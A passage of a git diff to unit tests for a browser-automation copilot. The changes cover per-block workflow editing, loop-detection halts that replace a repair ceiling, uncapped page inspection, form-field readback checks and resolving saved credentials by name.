+ once = delete_block_from_workflow(_WORKFLOW, "read_total")
+ with pytest.raises(BlockEditError):
+ delete_block_from_workflow(once, "read_total")
+
+
+class TestWholeWorkflowSubmissionIsSteeredToBlockEdits:
+ """A repair that re-sends every block to change some of them is the cycle SKY-13133 exists to
+ stop. Structural changes still need the whole workflow, since edit_block only reaches blocks
+ that already exist — so the discriminator is whether the set of labels changed."""
+
+ @staticmethod
+ def _ctx(stored: str) -> SimpleNamespace:
+ return SimpleNamespace(last_workflow_yaml=stored, workflow_yaml=stored)
+
+ def test_content_only_change_is_steered(self) -> None:
+ from skyvern.forge.sdk.copilot.tools import _submission_only_changes_existing_blocks
+
+ changed = _WORKFLOW.replace('"#total"', '"#grand-total"')
+ assert _submission_only_changes_existing_blocks(self._ctx(_WORKFLOW), changed) is True
+
+ def test_adding_a_block_still_goes_through(self) -> None:
+ from skyvern.forge.sdk.copilot.tools import _submission_only_changes_existing_blocks
+
+ added = (
+ _WORKFLOW
+ + """ - block_type: code
+ label: save_result
+ code: |
+ return {"saved": True}
+"""
+ )
+ assert _submission_only_changes_existing_blocks(self._ctx(_WORKFLOW), added) is False
+
+ def test_removing_a_block_still_goes_through(self) -> None:
+ from skyvern.forge.sdk.copilot.tools import _submission_only_changes_existing_blocks
+
+ removed = delete_block_from_workflow(_WORKFLOW, "read_total")
+ assert _submission_only_changes_existing_blocks(self._ctx(_WORKFLOW), removed) is False
+
+ def test_first_draft_is_never_steered(self) -> None:
+ """There is nothing to edit on the creating turn, so the whole workflow is the only option."""
+ from skyvern.forge.sdk.copilot.tools import _submission_only_changes_existing_blocks
+
+ assert _submission_only_changes_existing_blocks(self._ctx(""), _WORKFLOW) is False
+
+ def test_unparseable_input_is_never_steered(self) -> None:
+ from skyvern.forge.sdk.copilot.tools import _submission_only_changes_existing_blocks
+
+ assert _submission_only_changes_existing_blocks(self._ctx(_WORKFLOW), "{{ not yaml") is False
diff --git a/tests/unit/test_copilot_build_phase.py b/tests/unit/test_copilot_build_phase.py
index fdcb5f503..79d913015 100644
--- a/tests/unit/test_copilot_build_phase.py
+++ b/tests/unit/test_copilot_build_phase.py
@@ -562,7 +562,7 @@ def test_phase_tool_error_returns_none_when_phase_attr_missing() -> None:
BuildPhase.COMPOSING,
"build_phase_discovery_disallowed_post_compose",
"retry_with_different_tool",
- frozenset({"update_workflow", "update_and_run_blocks"}),
+ frozenset({"update_workflow", "update_and_run_blocks", "edit_block"}),
),
(
"navigate_browser",
diff --git a/tests/unit/test_copilot_code_block_persist_seam.py b/tests/unit/test_copilot_code_block_persist_seam.py
index edf55a962..327192a4a 100644
--- a/tests/unit/test_copilot_code_block_persist_seam.py
+++ b/tests/unit/test_copilot_code_block_persist_seam.py
@@ -112,7 +112,7 @@ from skyvern.forge.sdk.copilot.turn_halt import (
TurnHaltKind,
TurnHaltVerdict,
_kind_for_blocker_signal,
- stash_repair_ceiling_turn_halt,
+ stash_turn_halt_from_blocker_signal,
)
from skyvern.forge.sdk.copilot.turn_origin import TurnOrigin
from skyvern.forge.sdk.copilot.workflow_credential_utils import parse_workflow_yaml, workflow_blocks
@@ -8155,13 +8155,6 @@ def _metadata_less_two_block_yaml() -> str:
)
-class TestMetadataLessRejectArming:
- def test_metadata_ladder_does_not_defer_ceiling_for_legacy_context(self) -> None:
- legacy_ctx: Any = SimpleNamespace()
-
- assert run_execution_module._metadata_reject_ladder_defers_repair_ceiling(legacy_ctx, count=8) is False
-
-
class TestWholeTrajectoryImposition:
def test_imposes_over_unscouted_browser_fill_in_selected_block(self) -> None:
ctx = _quote_ctx()
@@ -10988,13 +10981,13 @@ def _full_coverage_calls() -> list[tuple[str, str]]:
class TestScoutedSpineTurnHaltExit:
- def test_repair_ceiling_halt_with_open_obligation_emits_unresolved_and_reframes_reply(self) -> None:
+ def test_terminal_halt_with_open_obligation_emits_unresolved_and_reframes_reply(self) -> None:
ctx = _checkpoint_eligible_ctx()
ctx.last_test_anti_bot = "challenge_detected"
- signal = enforcement_module.repair_ceiling_stop_signal(ctx, None)
+ signal = enforcement_module.code_authoring_churn_stop_signal(ctx)
assert "verification challenge" in signal.user_facing_reason
ctx.blocker_signal = signal
- halt = TurnHalt(kind=TurnHaltKind.REPAIR_CEILING_REACHED, blocker_signal=signal)
+ halt = TurnHalt(kind=TurnHaltKind.LOOP_DETECTED, blocker_signal=signal)
with capture_logs() as logs:
result = agent_module._build_turn_halt_exit_result(ctx, global_llm_context=None, halt=halt)
@@ -11036,9 +11029,9 @@ class TestScoutedSpineTurnHaltExit:
def test_halt_without_open_obligation_emits_nothing_and_keeps_reply(self) -> None:
ctx = _checkpoint_eligible_ctx()
ctx.persisted_draft_browser_calls = _full_coverage_calls()
- signal = enforcement_module.repair_ceiling_stop_signal(ctx, None)
+ signal = enforcement_module.code_authoring_churn_stop_signal(ctx)
ctx.blocker_signal = signal
- halt = TurnHalt(kind=TurnHaltKind.REPAIR_CEILING_REACHED, blocker_signal=signal)
+ halt = TurnHalt(kind=TurnHaltKind.LOOP_DETECTED, blocker_signal=signal)
with capture_logs() as logs:
result = agent_module._build_turn_halt_exit_result(ctx, global_llm_context=None, halt=halt)
@@ -11047,10 +11040,10 @@ class TestScoutedSpineTurnHaltExit:
assert result.user_response == signal.user_facing_reason
@pytest.mark.asyncio
- async def test_wrapped_exception_exit_with_stashed_repair_ceiling_halt_emits_unresolved(self) -> None:
+ async def test_wrapped_exception_exit_with_stashed_terminal_halt_emits_unresolved(self) -> None:
ctx = _checkpoint_eligible_ctx()
- signal = enforcement_module.repair_ceiling_stop_signal(ctx, None)
- stash_repair_ceiling_turn_halt(ctx, signal, consecutive_identical_repair_count=3)
+ signal = enforcement_module.code_authoring_churn_stop_signal(ctx)
+ stash_turn_halt_from_blocker_signal(ctx, signal, source="enforcement")
ctx.blocker_signal = signal
with capture_logs() as logs:
@@ -11069,9 +11062,9 @@ class TestScoutedSpineTurnHaltExit:
def test_obligation_check_failure_never_blocks_the_halt_reply(self, monkeypatch: pytest.MonkeyPatch) -> None:
ctx = _checkpoint_eligible_ctx()
- signal = enforcement_module.repair_ceiling_stop_signal(ctx, None)
+ signal = enforcement_module.code_authoring_churn_stop_signal(ctx)
ctx.blocker_signal = signal
- halt = TurnHalt(kind=TurnHaltKind.REPAIR_CEILING_REACHED, blocker_signal=signal)
+ halt = TurnHalt(kind=TurnHaltKind.LOOP_DETECTED, blocker_signal=signal)
def _boom(*args: object, **kwargs: object) -> None:
raise RuntimeError("synthesis unavailable")
diff --git a/tests/unit/test_copilot_code_mode_opt_out.py b/tests/unit/test_copilot_code_mode_opt_out.py
index 888f1774b..256d2987f 100644
--- a/tests/unit/test_copilot_code_mode_opt_out.py
+++ b/tests/unit/test_copilot_code_mode_opt_out.py
@@ -49,7 +49,6 @@ def _outcome(
mode: str | None,
code_available: bool = True,
last_code_build_failed: bool = False,
- repair_ceiling_hit: bool = False,
pending_capability: str | None = None,
turn_id: str | None = "prior-turn",
) -> TurnOutcome:
@@ -58,7 +57,6 @@ def _outcome(
copilot_effective_mode=mode,
copilot_code_available=code_available,
copilot_last_code_build_failed=last_code_build_failed,
- copilot_repair_ceiling_hit=repair_ceiling_hit,
copilot_pending_capability=pending_capability,
copilot_turn_id=turn_id,
)
@@ -126,7 +124,7 @@ def test_should_emit_copilot_code_mode_opt_out_transitions(
("prior", "expected"),
[
(_outcome(mode="code", last_code_build_failed=True, pending_capability="capability"), "failure"),
- (_outcome(mode="code", repair_ceiling_hit=True, pending_capability="capability"), "failure"),
+ (_outcome(mode="code", last_code_build_failed=True, pending_capability="capability"), "failure"),
(
TurnOutcome(
response_kind=ResponseKind.RECOVER,
@@ -151,7 +149,6 @@ def test_capture_copilot_code_mode_opt_out_uses_chat_id_as_distinct_id(monkeypat
prior = _outcome(
mode="code",
last_code_build_failed=True,
- repair_ceiling_hit=False,
pending_capability="credential-typed code synthesis",
turn_id="turn-prior",
)
@@ -173,7 +170,6 @@ def test_capture_copilot_code_mode_opt_out_uses_chat_id_as_distinct_id(monkeypat
"to_mode": "ask",
"reason_category": "failure",
"last_code_build_failed": True,
- "repair_ceiling_hit": False,
"pending_capability": "credential-typed code synthesis",
"org_id": "org-123",
"workflow_permanent_id": "wpid-123",
@@ -261,12 +257,11 @@ def test_derive_copilot_code_mode_diagnostics_uses_context_state() -> None:
last_test_ok=False,
last_failed_workflow_yaml=None,
code_native_pending_capability="credential-typed code synthesis",
- turn_halt=SimpleNamespace(kind=SimpleNamespace(value="repair_ceiling_reached")),
+ turn_halt=SimpleNamespace(kind=SimpleNamespace(value="loop_detected")),
)
assert derive_copilot_code_mode_diagnostics(ctx) == {
"copilot_last_code_build_failed": True,
- "copilot_repair_ceiling_hit": True,
"copilot_pending_capability": "credential-typed code synthesis",
}
@@ -281,7 +276,6 @@ def test_derive_copilot_code_mode_diagnostics_on_a_clean_turn() -> None:
assert derive_copilot_code_mode_diagnostics(ctx) == {
"copilot_last_code_build_failed": False,
- "copilot_repair_ceiling_hit": False,
"copilot_pending_capability": None,
}
diff --git a/tests/unit/test_copilot_composition_evidence.py b/tests/unit/test_copilot_composition_evidence.py
index 2b1135dff..202b336de 100644
--- a/tests/unit/test_copilot_composition_evidence.py
+++ b/tests/unit/test_copilot_composition_evidence.py
@@ -381,7 +381,9 @@ def test_composition_parse_html_ignores_empty_modal_root_as_bounded_schema() ->
assert has_bounded_page_schema(parsed) is False
-def test_composition_parse_html_does_not_treat_next_as_modal_dismiss_control() -> None:
+def test_composition_parse_html_reports_every_control_a_modal_offers() -> None:
+ """A dialog closes through controls no keyword list can enumerate ("No, keep ...", an icon-only
+ glyph), so the schema reports all of them by label and the agent picks."""
parsed = parse_composition_html(
"""
<html><body>
@@ -395,8 +397,10 @@ def test_composition_parse_html_does_not_treat_next_as_modal_dismiss_control() -
current_url="https://example.com/results",
)
- assert parsed["modal_overlays"] == []
- assert has_bounded_page_schema(parsed) is False
+ overlays = parsed["modal_overlays"]
+ assert len(overlays) == 1
+ labels = [control.get("text") for control in overlays[0]["dismiss_controls"]]
+ assert labels == ["Next", "Export"]
def test_composition_parse_html_preserves_stable_control_selectors_and_values() -> None:
diff --git a/tests/unit/test_copilot_diagnosis_repair_contract.py b/tests/unit/test_copilot_diagnosis_repair_contract.py
index b5eccc4ff..d708eeddf 100644
--- a/tests/unit/test_copilot_diagnosis_repair_contract.py
+++ b/tests/unit/test_copilot_diagnosis_repair_contract.py
@@ -396,9 +396,7 @@ def test_runtime_authoring_repair_context_identity_includes_bounded_page_state()
)
-def test_repair_loop_state_counts_through_authoring_repair_context_identity_change() -> None:
- # An identity change rotates the streak token but is not progress; the zero-run
- # ceiling still does not terminalize.
+def test_repair_loop_state_climbs_on_the_same_failure_repeating() -> None:
ctx = _ctx()
ambiguous = CodeAuthoringRepairContext(
block_label="retrieve_document_link",
@@ -406,13 +404,8 @@ def test_repair_loop_state_counts_through_authoring_repair_context_identity_chan
selector="button",
refiner_selector="xpath=//button[normalize-space()='View / Download']",
)
- sandbox = CodeAuthoringRepairContext(
- block_label="retrieve_document_link",
- reason_code=SANDBOX_UNRESOLVED_NAME_REASON_CODE,
- unresolved_names=["confirmation_number", "row_text"],
- )
- for expected_count in (1, 2):
+ for expected_count in (1, 2, 3):
contract = build_diagnosis_repair_contract(
source_tool="update_and_run_blocks",
result=_authoring_repair_result(ambiguous),
@@ -420,21 +413,6 @@ def test_repair_loop_state_counts_through_authoring_repair_context_identity_chan
)
run_execution_module._update_repair_loop_state(ctx, contract)
assert contract.repair_loop_state.consecutive_identical_repair_count == expected_count
- assert contract.repair_loop_state.ceiling_reached is False
-
- sandbox_contract = build_diagnosis_repair_contract(
- source_tool="update_and_run_blocks",
- result=_authoring_repair_result(sandbox),
- ctx=ctx,
- )
- run_execution_module._update_repair_loop_state(ctx, sandbox_contract)
-
- assert sandbox_contract.repair_decision.next_action == RepairNextAction.REPAIR
- assert sandbox_contract.repair_loop_state.streak_token != contract.repair_loop_state.streak_token
- assert sandbox_contract.repair_loop_state.consecutive_identical_repair_count == 3
- assert sandbox_contract.repair_loop_state.ceiling_reached is True
- assert getattr(ctx, "blocker_signal", None) is None
- assert ctx.turn_halt is None
def _uncovered_output_turn_state(output_path: str) -> SimpleNamespace:
diff --git a/tests/unit/test_copilot_discovery.py b/tests/unit/test_copilot_discovery.py
index 4106f8208..550f0bf98 100644
--- a/tests/unit/test_copilot_discovery.py
+++ b/tests/unit/test_copilot_discovery.py
@@ -598,20 +598,23 @@ async def test_current_page_inspection_after_browser_action_is_click_reached_onc
assert ctx.pending_browser_interaction_observation is None
+class _EmptyPageServer:
+ async def call_internal_tool(self, tool_name: str, arguments: dict[str, Any]) -> dict[str, Any]:
+ if tool_name == "skyvern_get_html":
+ return {"ok": True, "data": {"html": "<html><body></body></html>"}}
+ return {"ok": True, "data": {"result": None}}
+
+
@pytest.mark.asyncio
-async def test_inspection_budget_steers_progress_check_instead_of_authoring() -> None:
- ctx = _Ctx(server=object())
+async def test_repeated_structured_inspection_is_not_rationed() -> None:
+ """Understanding a page should not get harder the more inspection it needs; a prior per-turn
+ cap rejected further structured looks and steered the agent onto hand-rolled probes."""
+ ctx = _Ctx(server=_EmptyPageServer())
ctx.page_inspection_calls_this_turn = 999
result = await _inspect_page_for_composition_impl(ctx, "current_page")
- assert result["ok"] is False
- assert "not evidence that scouting is complete" in result["error"]
- assert "evaluate" in result["error"]
- assert "get_browser_screenshot" in result["error"]
- assert "browser action on the current page" in result["error"]
- assert "Do not author downstream result" in result["error"]
- assert "Compose from existing evidence" not in result["error"]
+ assert "budget" not in str(result.get("error") or "")
@pytest.mark.asyncio
diff --git a/tests/unit/test_copilot_enforcement_hardening.py b/tests/unit/test_copilot_enforcement_hardening.py
index 300e00db1..9270fb4eb 100644
--- a/tests/unit/test_copilot_enforcement_hardening.py
+++ b/tests/unit/test_copilot_enforcement_hardening.py
@@ -464,13 +464,13 @@ def test_code_authoring_churn_backstop_yields_to_non_retriable_nav_error() -> No
_maybe_raise_non_retriable_nav(ctx)
-def _ceiling_reached_contract() -> DiagnosisRepairContract:
+def _repair_streak_contract() -> DiagnosisRepairContract:
return DiagnosisRepairContract(
diagnosis_input=DiagnosisInput(source_tool="update_and_run_blocks"),
diagnosis_result=DiagnosisResult(),
repair_decision=RepairDecision(),
verification_result=VerificationResult(),
- repair_loop_state=RepairLoopState(consecutive_identical_repair_count=3, ceiling_reached=True),
+ repair_loop_state=RepairLoopState(consecutive_identical_repair_count=3),
)
@@ -478,10 +478,10 @@ def _mark_recorded_run_backed(ctx: CopilotContext) -> None:
ctx.recorded_persisted_block_run_workflow_run_id = "wr_1"
-def test_zero_run_ceiling_yields_to_code_authoring_churn_backstop() -> None:
+def test_repair_streak_still_reaches_the_code_authoring_churn_backstop() -> None:
ctx = _fresh_context()
ctx.code_authoring_guardrail_reject_count = MAX_CODE_AUTHORING_GUARDRAIL_REJECTS
- ctx.latest_diagnosis_repair_contract = _ceiling_reached_contract()
+ ctx.latest_diagnosis_repair_contract = _repair_streak_contract()
with pytest.raises(CopilotTurnHalt) as excinfo:
_check_enforcement(ctx)
@@ -492,35 +492,17 @@ def test_zero_run_ceiling_yields_to_code_authoring_churn_backstop() -> None:
assert signal.internal_reason_code == "code_authoring_guardrail_churn"
-def test_run_backed_ceiling_precedes_code_authoring_churn_backstop() -> None:
+def test_run_backed_repair_streak_reaches_the_code_authoring_churn_backstop() -> None:
ctx = _fresh_context()
ctx.code_authoring_guardrail_reject_count = MAX_CODE_AUTHORING_GUARDRAIL_REJECTS
- ctx.latest_diagnosis_repair_contract = _ceiling_reached_contract()
+ ctx.latest_diagnosis_repair_contract = _repair_streak_contract()
ctx.last_run_blocks_workflow_run_id = "wr_1"
_mark_recorded_run_backed(ctx)
- with pytest.raises(CopilotTurnHalt) as excinfo:
- _check_enforcement(ctx)
-
- assert excinfo.value.halt.kind is TurnHaltKind.REPAIR_CEILING_REACHED
- signal = ctx.blocker_signal
- assert isinstance(signal, CopilotToolBlockerSignal)
- assert signal.internal_reason_code == "repair_ceiling_reached"
-
-
-def test_stale_fallback_run_id_does_not_make_ceiling_run_backed() -> None:
- ctx = _fresh_context()
- ctx.code_authoring_guardrail_reject_count = MAX_CODE_AUTHORING_GUARDRAIL_REJECTS
- ctx.latest_diagnosis_repair_contract = _ceiling_reached_contract()
- ctx.last_run_blocks_workflow_run_id = "wr_stale"
-
with pytest.raises(CopilotTurnHalt) as excinfo:
_check_enforcement(ctx)
assert excinfo.value.halt.kind is TurnHaltKind.LOOP_DETECTED
- signal = ctx.blocker_signal
- assert isinstance(signal, CopilotToolBlockerSignal)
- assert signal.internal_reason_code == "code_authoring_guardrail_churn"
def test_workflow_edit_clears_recorded_persisted_run_latch() -> None:
@@ -558,11 +540,11 @@ def test_credential_priority_churn_defers_below_higher_bound() -> None:
assert ctx.blocker_signal is None
-def test_zero_run_ceiling_yields_to_credential_priority_churn() -> None:
+def test_repair_streak_still_reaches_the_credential_priority_churn() -> None:
ctx = _fresh_context()
ctx.code_authoring_guardrail_reject_count = MAX_CREDENTIAL_PRIORITY_AUTHORING_REJECTS
ctx.last_code_authoring_reject_was_credential_priority = True
- ctx.latest_diagnosis_repair_contract = _ceiling_reached_contract()
+ ctx.latest_diagnosis_repair_contract = _repair_streak_contract()
with pytest.raises(CopilotTurnHalt) as excinfo:
_check_enforcement(ctx)
@@ -573,21 +555,18 @@ def test_zero_run_ceiling_yields_to_credential_priority_churn() -> None:
assert signal.internal_reason_code == "credential_priority_authoring_churn"
-def test_run_backed_ceiling_precedes_credential_priority_churn() -> None:
+def test_run_backed_repair_streak_reaches_the_credential_priority_churn() -> None:
ctx = _fresh_context()
ctx.code_authoring_guardrail_reject_count = MAX_CREDENTIAL_PRIORITY_AUTHORING_REJECTS
ctx.last_code_authoring_reject_was_credential_priority = True
- ctx.latest_diagnosis_repair_contract = _ceiling_reached_contract()
+ ctx.latest_diagnosis_repair_contract = _repair_streak_contract()
ctx.last_run_blocks_workflow_run_id = "wr_1"
_mark_recorded_run_backed(ctx)
with pytest.raises(CopilotTurnHalt) as excinfo:
_check_enforcement(ctx)
- assert excinfo.value.halt.kind is TurnHaltKind.REPAIR_CEILING_REACHED
- signal = ctx.blocker_signal
- assert isinstance(signal, CopilotToolBlockerSignal)
- assert signal.internal_reason_code == "repair_ceiling_reached"
+ assert excinfo.value.halt.kind is TurnHaltKind.LOOP_DETECTED
def test_no_progress_interaction_floor_raises_at_ceiling() -> None:
@@ -613,10 +592,10 @@ def test_no_progress_interaction_floor_does_not_raise_below_ceiling() -> None:
assert ctx.blocker_signal is None
-def test_zero_run_ceiling_yields_to_no_progress_interaction_floor() -> None:
+def test_repair_streak_still_reaches_the_no_progress_interaction_floor() -> None:
ctx = _fresh_context()
ctx.consecutive_no_progress_interaction_count = MAX_NO_PROGRESS_INTERACTION_ATTEMPTS
- ctx.latest_diagnosis_repair_contract = _ceiling_reached_contract()
+ ctx.latest_diagnosis_repair_contract = _repair_streak_contract()
with pytest.raises(CopilotTurnHalt) as excinfo:
_check_enforcement(ctx)
@@ -627,20 +606,19 @@ def test_zero_run_ceiling_yields_to_no_progress_interaction_floor() -> None:
assert signal.internal_reason_code == "loop_detected_no_forward_progress_interaction"
-def test_run_backed_ceiling_precedes_no_progress_interaction_floor() -> None:
+def test_run_backed_repair_streak_reaches_the_no_progress_interaction_floor() -> None:
+ # A repeated identical repair now steers instead of ending the turn, so a genuine terminal
+ # halt beneath it is the one that fires.
ctx = _fresh_context()
ctx.consecutive_no_progress_interaction_count = MAX_NO_PROGRESS_INTERACTION_ATTEMPTS
- ctx.latest_diagnosis_repair_contract = _ceiling_reached_contract()
+ ctx.latest_diagnosis_repair_contract = _repair_streak_contract()
ctx.last_run_blocks_workflow_run_id = "wr_1"
_mark_recorded_run_backed(ctx)
with pytest.raises(CopilotTurnHalt) as excinfo:
_check_enforcement(ctx)
- assert excinfo.value.halt.kind is TurnHaltKind.REPAIR_CEILING_REACHED
- signal = ctx.blocker_signal
- assert isinstance(signal, CopilotToolBlockerSignal)
- assert signal.internal_reason_code == "repair_ceiling_reached"
+ assert excinfo.value.halt.kind is TurnHaltKind.LOOP_DETECTED
def test_no_progress_interaction_floor_yields_to_non_retriable_nav_error() -> None:
@@ -684,11 +662,11 @@ def test_register_no_progress_interaction_click_defers_to_terminal_held_blocker(
ctx = _fresh_context()
ctx.consecutive_no_progress_interaction_count = MAX_NO_PROGRESS_INTERACTION_ATTEMPTS - 1
terminal = CopilotToolBlockerSignal(
- blocker_kind="loop_detected",
- agent_steering_text="The repair made no progress.",
- user_facing_reason="I couldn't get past the same problem after several attempts.",
+ blocker_kind="tool_error",
+ agent_steering_text="The site appears to be blocking this session.",
+ user_facing_reason="The site looks like it is blocking automated access.",
recovery_hint="report_blocker_to_user",
- internal_reason_code="repair_ceiling_reached",
+ internal_reason_code="probable_site_block_stop",
blocked_tool="update_and_run_blocks",
)
ctx.blocker_signal = terminal
@@ -878,7 +856,7 @@ def test_missing_steps_listed_on_give_up_offer_and_anchored_in_held_signal() ->
agent_steering_text="The repair made no progress.",
user_facing_reason="I kept the draft.",
recovery_hint="report_blocker_to_user",
- internal_reason_code="repair_ceiling_reached",
+ internal_reason_code="loop_detected_generic",
blocked_tool="update_workflow",
)
reply = _with_scouted_spine_missing_steps(ctx, "I kept the draft.", "`fill` on '#totp'")
@@ -932,7 +910,7 @@ def test_finalizer_names_missing_steps_when_unrelated_blocker_renders_give_up()
@pytest.mark.parametrize(
"internal_reason_code",
- ["repair_ceiling_reached", "completion_contract_unsatisfied", "output_contract_actuation_exhausted"],
+ ["loop_detected_generic", "completion_contract_unsatisfied", "output_contract_actuation_exhausted"],
)
def test_finalizer_render_exit_names_missing_steps_per_owner(internal_reason_code: str) -> None:
ctx, unrelated_reason = _unrelated_owner_give_up_ctx(internal_reason_code)
diff --git a/tests/unit/test_copilot_enforcement_pruning.py b/tests/unit/test_copilot_enforcement_pruning.py
index 4af09ae67..d8ce578e5 100644
--- a/tests/unit/test_copilot_enforcement_pruning.py
+++ b/tests/unit/test_copilot_enforcement_pruning.py
@@ -2185,7 +2185,7 @@ class TestSynthesizedOfferPersistenceGate:
cleared_by_tools=frozenset(),
preserves_workflow_draft=True,
renders_final_reply=True,
- internal_reason_code="repair_ceiling_reached",
+ internal_reason_code="loop_detected_generic",
blocked_tool="update_and_run_blocks",
)
diff --git a/tests/unit/test_copilot_hooks.py b/tests/unit/test_copilot_hooks.py
index 02eb59adf..8626873ca 100644
--- a/tests/unit/test_copilot_hooks.py
+++ b/tests/unit/test_copilot_hooks.py
@@ -1022,6 +1022,28 @@ class TestVerifyScoutTypeLanded:
assert result is None
ctx.discovery_mcp_server.call_internal_tool.assert_not_awaited()
+ @pytest.mark.asyncio
+ async def test_an_auto_formatting_field_passes_despite_growing_past_the_typed_length(self) -> None:
+ """A phone/card/date input inserts its own separators, so the readback is longer than what
+ was typed with nothing having landed in the wrong field. Rejecting it fails every such form."""
+ from skyvern.forge.sdk.copilot.tools import _verify_scout_type_landed
+
+ ctx = self._ctx_with_value("(555) 123-4567")
+ result = await _verify_scout_type_landed(ctx, selector="#phone", typed_length=len("5551234567"))
+
+ assert result is None
+
+ @pytest.mark.asyncio
+ async def test_a_value_appended_to_an_occupied_field_still_fails(self) -> None:
+ from skyvern.forge.sdk.copilot.tools import _verify_scout_type_landed
+
+ ctx = self._ctx_with_value("alreadyherenewvalue")
+ result = await _verify_scout_type_landed(ctx, selector="#name", typed_length=len("newvalue"))
+
+ assert result is not None
+ assert result["ok"] is False
+ assert "already held a value" in result["error"]
+
@pytest.mark.asyncio
async def test_zero_typed_length_skips_readback(self) -> None:
from skyvern.forge.sdk.copilot.tools import _verify_scout_type_landed
diff --git a/tests/unit/test_copilot_page_evidence_policy.py b/tests/unit/test_copilot_page_evidence_policy.py
index 9ff595981..6fe4a76d1 100644
--- a/tests/unit/test_copilot_page_evidence_policy.py
+++ b/tests/unit/test_copilot_page_evidence_policy.py
@@ -2,14 +2,14 @@
from __future__ import annotations
+from pathlib import Path
+
import pytest
from pydantic import ValidationError
from skyvern.forge.prompts import prompt_engine
from skyvern.forge.sdk.copilot.config import DEFAULT_MAX_TURNS
from skyvern.forge.sdk.copilot.tools import (
- _COMPOSITION_INSPECTION_PER_CHAT_BUDGET,
- _COMPOSITION_INSPECTION_PER_TURN_BUDGET,
BlockObservationRef,
run_blocks_tool,
update_and_run_blocks_tool,
@@ -103,10 +103,15 @@ def test_tool_descriptions_ground_composition_without_prescribing_extra_workflow
assert "verify every requested constraint" not in desc
-def test_inspection_budget_allows_multi_page_authoring_evidence_but_remains_bounded() -> None:
- assert _COMPOSITION_INSPECTION_PER_TURN_BUDGET >= 3
- assert _COMPOSITION_INSPECTION_PER_CHAT_BUDGET >= _COMPOSITION_INSPECTION_PER_TURN_BUDGET
- assert _COMPOSITION_INSPECTION_PER_CHAT_BUDGET <= 6
+def test_structured_page_inspection_is_not_rationed() -> None:
+ """Capping structured inspection sent the agent to hand-rolled `evaluate` probes once it ran
+ out, so understanding a page got harder the more the page needed understanding."""
+ from skyvern.forge.sdk.copilot.tools import composition_capture
+
+ source = Path(composition_capture.__file__).read_text()
+
+ assert "_COMPOSITION_INSPECTION_PER_TURN_BUDGET" not in source
+ assert "_COMPOSITION_INSPECTION_PER_CHAT_BUDGET" not in source
def test_default_loop_budget_allows_inspect_build_run_answer_trajectory() -> None:
diff --git a/tests/unit/test_copilot_request_policy_workflow_credentials.py b/tests/unit/test_copilot_request_policy_workflow_credentials.py
index 9a410425b..9543553b8 100644
--- a/tests/unit/test_copilot_request_policy_workflow_credentials.py
+++ b/tests/unit/test_copilot_request_policy_workflow_credentials.py
@@ -28,6 +28,7 @@ from skyvern.forge.sdk.copilot.request_policy import (
_classification_from_raw,
_clean_email_list,
_resolve_credentials,
+ _saved_credential_names_mentioned,
_should_defer_repeated_unresolved_credential_question,
_workflow_credential_inputs_unbound,
build_request_policy,
@@ -2681,3 +2682,30 @@ def test_a_model_authored_identity_cannot_appear_where_the_server_resolved_none(
assert adopted.signin_email == ""
assert adopted.signin_email_host == ""
+
+
+def test_a_named_credential_resolves_without_the_word_credential() -> None:
+ """ "use skyvern-datadog to login" names the credential outright. The pattern-based candidates
+ only fire when the message also says "credential", which left this resolving nothing."""
+ credentials = [SimpleNamespace(name="skyvern-datadog"), SimpleNamespace(name="skyvern-posthog")]
+
+ assert _saved_credential_names_mentioned("use skyvern-datadog to login.", credentials) == ["skyvern-datadog"]
+
+
+async def test_a_named_credential_resolves_when_the_classifier_misses_login_intent() -> None:
+ """`login_intent` is a model-authored hint that varies run to run. Gating the saved-name scan on
+ it alone let the classifier veto a message that says "log in" outright — the very case this
+ resolves. The deterministic login phrasing must reach the scan on its own."""
+ named = SimpleNamespace(credential_id="cred_datadog", name="skyvern-datadog", credential_type="password")
+ policy = RequestPolicy(credential_input_kind="skyvern_stored_credential", login_intent=False)
+
+ await _resolve_direct(policy, user_message="use skyvern-datadog to login.", org_credentials=[named])
+
+ assert [c.credential_id for c in policy.resolved_credentials] == ["cred_datadog"]
+
+
+def test_a_negated_saved_name_is_not_treated_as_a_reference() -> None:
+ credentials = [SimpleNamespace(name="skyvern-datadog")]
+
+ assert _saved_credential_names_mentioned("do not use skyvern-datadog", credentials) == []
diff --git a/tests/unit/test_copilot_turn_halt.py b/tests/unit/test_copilot_turn_halt.py
index 69b2e8827..a95c1be7a 100644
--- a/tests/unit/test_copilot_turn_halt.py
+++ b/tests/unit/test_copilot_turn_halt.py
@@ -28,7 +28,6 @@ from skyvern.forge.sdk.copilot.turn_halt import (
TurnHaltKind,
expire_output_contract_ladder_at_turn_end,
raise_if_turn_halt,
- stash_repair_ceiling_turn_halt,
stash_turn_halt_from_blocker_signal,
turn_halt_from_blocker_signal,
)
@@ -339,16 +338,16 @@ def test_current_page_challenge_signal_from_current_page_evidence(
assert signal is None
-def _involuntary_repair_ceiling_signal() -> CopilotToolBlockerSignal:
+def _involuntary_loop_signal() -> CopilotToolBlockerSignal:
return CopilotToolBlockerSignal(
- blocker_kind="tool_error",
- agent_steering_text="repair ceiling",
- user_facing_reason="I could not get the run to pass after several repair attempts.",
+ blocker_kind="loop_detected",
+ agent_steering_text="loop detected",
+ user_facing_reason="I couldn't keep going on this turn.",
recovery_hint="report_blocker_to_user",
cleared_by_tools=frozenset(),
preserves_workflow_draft=True,
renders_final_reply=True,
- internal_reason_code="repair_ceiling_reached",
+ internal_reason_code="loop_detected_generic",
blocked_tool="update_and_run_blocks",
extra={},
)
@@ -370,8 +369,8 @@ def _consume_ctx(
def test_verified_outcome_suppresses_and_consumes_involuntary_halt() -> None:
- signal = _involuntary_repair_ceiling_signal()
- halt = stash_repair_ceiling_turn_halt(_halt_ctx(), signal, consecutive_identical_repair_count=3)
+ signal = _involuntary_loop_signal()
+ halt = stash_turn_halt_from_blocker_signal(_halt_ctx(), signal, source="enforcement")
ctx = _consume_ctx(
turn_halt=halt,
blocker_signal=signal,
@@ -447,9 +446,9 @@ def test_verified_outcome_consumes_involuntary_tool_blocker_history() -> None:
def test_involuntary_suppression_lets_later_voluntary_challenge_raise() -> None:
- signal = _involuntary_repair_ceiling_signal()
+ signal = _involuntary_loop_signal()
ctx = _consume_ctx(blocker_signal=signal)
- stash_repair_ceiling_turn_halt(ctx, signal, consecutive_identical_repair_count=3)
+ stash_turn_halt_from_blocker_signal(ctx, signal, source="enforcement")
raise_if_turn_halt(ctx, verified=True)
assert ctx.turn_halt is None
@@ -465,9 +464,9 @@ def test_involuntary_suppression_lets_later_voluntary_challenge_raise() -> None:
def test_unverified_involuntary_halt_still_raises() -> None:
- signal = _involuntary_repair_ceiling_signal()
